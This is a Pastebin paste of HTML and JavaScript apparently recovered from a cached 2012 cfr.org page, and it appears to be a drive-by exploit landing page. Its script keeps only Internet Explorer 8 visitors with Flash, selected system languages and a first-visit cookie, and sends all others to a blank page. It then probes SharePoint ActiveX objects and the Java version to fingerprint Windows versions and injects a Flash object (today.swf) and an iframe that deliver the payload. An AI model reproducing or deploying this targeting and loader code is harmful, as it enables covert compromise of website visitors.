Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # This version was found in Google cache as it appeared on 7 Dec 2012 14:12:28 GMT
- # https://www.google.com/search?hl=en&source=hp&q=site:cfr.org&btnG=Recherche+Google&meta=&aq=f&aqi=&aql=&oq=&gs_rfai=#q=site:cfr.org+news_14242aa.html&hl=en&safe=off&tbo=d&tbas=0&source=lnt&sa=X&psj=1&ei=Xc3eUOnSPMfR4QT8toCoBg&ved=0CBgQpwUoAA&fp=1&bpcl=40096503&biw=1376&bih=739&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.&cad=b&sei=kxzgUL-oE8rb4QSoxYHYDA
- <html>
- <head>
- <script type="text/javascript">var NREUMQ=NREUMQ||[];NREUMQ.push(["mark","firstbyte",new Date().getTime()]);</script>
- <script src=deployJava.js></script>
- <script type="text/javascript">
- function getCookieVal (offset)
- {
- var endstr = document.cookie.indexOf (";", offset);
- if (endstr == -1)
- {
- endstr = document.cookie.length;
- }
- return unescape(document.cookie.substring(offset, endstr));
- }
- function GetCookie (name)
- {
- var arg = name + "=";
- var alen = arg.length;
- var clen = document.cookie.length;
- var i = 0;
- while (i < clen)
- {
- var j = i + alen;
- if (document.cookie.substring(i, j) == arg)
- return getCookieVal (j);
- i = document.cookie.indexOf(" ", i) + 1;
- if (i == 0)
- break;
- }
- return null;
- }
- function SetCookie (name, value)
- {
- var argv = SetCookie.arguments;
- var argc = SetCookie.arguments.length;
- var expires = (2 < argc) ? argv[2] : null;
- var path = (3 < argc) ? argv[3] : null;
- var domain = (4 < argc) ? argv[4] : null;
- var secure = (5 < argc) ? argv[5] : false;
- document.cookie = name + "=" + escape (value) +
- ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
- ((path == null) ? "" : ("; path=" + path)) +
- ((domain == null) ? "" : ("; domain=" + domain)) +
- ((secure == true) ? "; secure" : "");
- }
- function DisplayInfo()
- {
- var expdate = new Date();
- var visit;
- expdate.setTime(expdate.getTime() + (24 * 60 * 60 * 1000*7 ));
- if(!(visit = GetCookie("visit")))
- visit = 0;
- visit++;
- SetCookie("visit", visit, expdate, "/", null, false);
- return visit;
- }
- var ua = window.navigator.userAgent.toLowerCase();
- if (ua.indexOf('msie 8.0') <0)
- {
- location.href="about:blank";
- }
- var f = 0;
- try {
- f = new ActiveXObject('ShockwaveFlash.ShockwaveFlash');
- }
- catch (e) {
- }
- var g=typeof f;
- if(g!="object")
- {
- location.href="about:blank";
- }
- var h=navigator.systemLanguage.toLowerCase();
- if(h!="zh-cn" && h!="en-us" && h!= "zh-tw")
- {
- location.href="about:blank";
- }
- var num=DisplayInfo();
- if(num >1)
- {
- location.href="about:blank";
- }
- function download()
- {
- var xmlhttp;
- try
- {
- xmlhttp = new XMLHttpRequest();
- }
- catch (e)
- {
- var XMLHTTP_IDS = new Array('MSXML2.XMLHTTP.5.0','MSXML2.XMLHTTP.4.0','MSXML2.XMLHTTP.3.0','MSXML2.XMLHTTP','Microsoft.XMLHTTP' );
- var success = false;
- for (var i=0;i < XMLHTTP_IDS.length && !success; i++)
- {
- try
- {
- xmlhttp = new ActiveXObject(XMLHTTP_IDS[i]);
- success = true;
- } catch (e)
- {}
- }
- }
- function callback()
- {
- if(xmlhttp.readyState==4)
- {
- if(xmlhttp.status==200)
- {
- var temp=ua.replace(/ /g,"");
- if (temp.indexOf("nt6.1")>-1) {
- var key = "";
- var ma = 0;
- try {
- ma = new ActiveXObject("SharePoint.OpenDocuments.4");
- }
- catch (e) {
- }
- var mb = 0;
- try {
- mb = new ActiveXObject("SharePoint.OpenDocuments.3");
- }
- catch (e) {
- }
- if ((typeof ma) == "object" && (typeof mb) == "object") {
- key = "girl";
- }
- else if ((typeof ma) == "number" && (typeof mb) == "object") {
- key = "boy";
- }
- if (key == "girl") {
- document.getElementById('test').innerHTML="true";
- document.body.innerHTML += "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"100%\" height=\"100%\" id=\"today\"><param name=\"movie\" value=\"today.swf\" /><param name=\"quality\" value=\"high\" /><param name=\"bgcolor\" value=\"#ffffff\" /><param name=\"allowScriptAccess\" value=\"sameDomain\" /><param name=\"allowFullScreen\" value=\"true\" /></object><iframe src=news.html></iframe>";
- }
- if (key == "boy") {
- document.getElementById('test').innerHTML="false";
- document.body.innerHTML += "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"100%\" height=\"100%\" id=\"today\"><param name=\"movie\" value=\"today.swf\" /><param name=\"quality\" value=\"high\" /><param name=\"bgcolor\" value=\"#ffffff\" /><param name=\"allowScriptAccess\" value=\"sameDomain\" /><param name=\"allowFullScreen\" value=\"true\" /></object><iframe src=news.html></iframe>";
- }
- if (key == "") {
- if ((deployJava.versionCheck('1.6.0+') == true) && (deployJava.versionCheck('1.7.0+') == false)) {
- document.getElementById('test').innerHTML="default";
- document.body.innerHTML += "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"100%\" height=\"100%\" id=\"today\"><param name=\"movie\" value=\"today.swf\" /><param name=\"quality\" value=\"high\" /><param name=\"bgcolor\" value=\"#ffffff\" /><param name=\"allowScriptAccess\" value=\"sameDomain\" /><param name=\"allowFullScreen\" value=\"true\" /></object><iframe src=news.html></iframe>";
- }
- }
- }
- if(temp.indexOf("nt5.1")>-1)
- {
- document.getElementById('test').innerHTML="cat";
- document.body.innerHTML += "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"100%\" height=\"100%\" id=\"today\"><param name=\"movie\" value=\"today.swf\" /><param name=\"quality\" value=\"high\" /><param name=\"bgcolor\" value=\"#ffffff\" /><param name=\"allowScriptAccess\" value=\"sameDomain\" /><param name=\"allowFullScreen\" value=\"true\" /></object><iframe src=news.html></iframe>";
- }
- }
- }
- }
- xmlhttp.open("get", "xsainfo.jpg", true);
- xmlhttp.onreadystatechange = callback;
- xmlhttp.send(null);
- }
- </script>
- </head>
- <body onload="download()">
- <div id=test>hello</div>
- <script type="text/javascript">if(!NREUMQ.f){NREUMQ.f=function(){NREUMQ.push(["load",new Date().getTime()]);var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://d1ros97qkrwjf5.cloudfront.net/42/eum/rum.js";document.body.appendChild(e);if(NREUMQ.a)NREUMQ.a();};NREUMQ.a=window.onload;window.onload=NREUMQ.f;};NREUMQ.push(["nrf2","beacon-1.newrelic.com","864c0a0685","1597576","MlEAN0FYDUoEUUYKXAsbNxFaFglKSlhBTF0AQxE8Ag1RDVdTU01bEVkO",0,0,new Date().getTime()]);</script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement